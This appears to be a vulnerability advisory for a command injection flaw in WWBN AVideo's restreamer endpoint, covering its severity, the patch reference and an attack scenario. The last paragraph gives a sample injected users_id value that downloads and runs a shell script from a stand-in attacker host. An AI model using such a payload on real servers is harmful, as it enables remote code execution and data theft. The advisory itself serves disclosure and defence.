Avideo EUVD-2026-14484

Requires authenticated user account on WWBN AVideo versions up to 26.0. Attacker must access the restreamer endpoint with crafted JSON request containing unsanitized users_id and liveTransmitionHistory_id values with shell metacharacters ($() or backticks) to achieve arbitrary command execution via exec().

The CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates a network-exploitable vulnerability with low attack complexity requiring only low-level authenticated access, no user interaction, and yielding high impact across confidentiality, integrity, and availability. The requirement for authentication (PR:L) provides minimal friction as attackers can typically obtain low-privileged accounts through registration features common in video platforms or credential compromise. The vulnerability is particularly dangerous because command injection flaws are readily exploitable once authenticated access is obtained, and the public availability of patch details (commit 99b865413172045fef6a98b5e9bfc7b24da11678) effectively serves as a roadmap for exploit development. While no EPSS score or KEV inclusion is indicated in the provided data, the combination of public disclosure via GitHub Security Advisory GHSA-5m4q-5cvx-36mw, available patch details showing the exact vulnerable code pattern, and the straightforward exploitation path for authenticated users makes this a genuine high-priority risk for any organization running affected AVideo instances, especially those exposed to the internet or accessible by untrusted authenticated users.

An attacker registers a low-privileged account on an AVideo instance or compromises existing user credentials through phishing or credential stuffing. The attacker crafts a malicious JSON request to the restreamer endpoint with shell metacharacters embedded in the users_id or liveTransmitionHistory_id parameters, such as users_id set to 1$(wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh). When the server processes this request and constructs the log file path within the exec() call, the injected commands execute with web server privileges, allowing the attacker to download and execute a reverse shell, escalate privileges, exfiltrate sensitive video content and user databases, or pivot to internal network resources.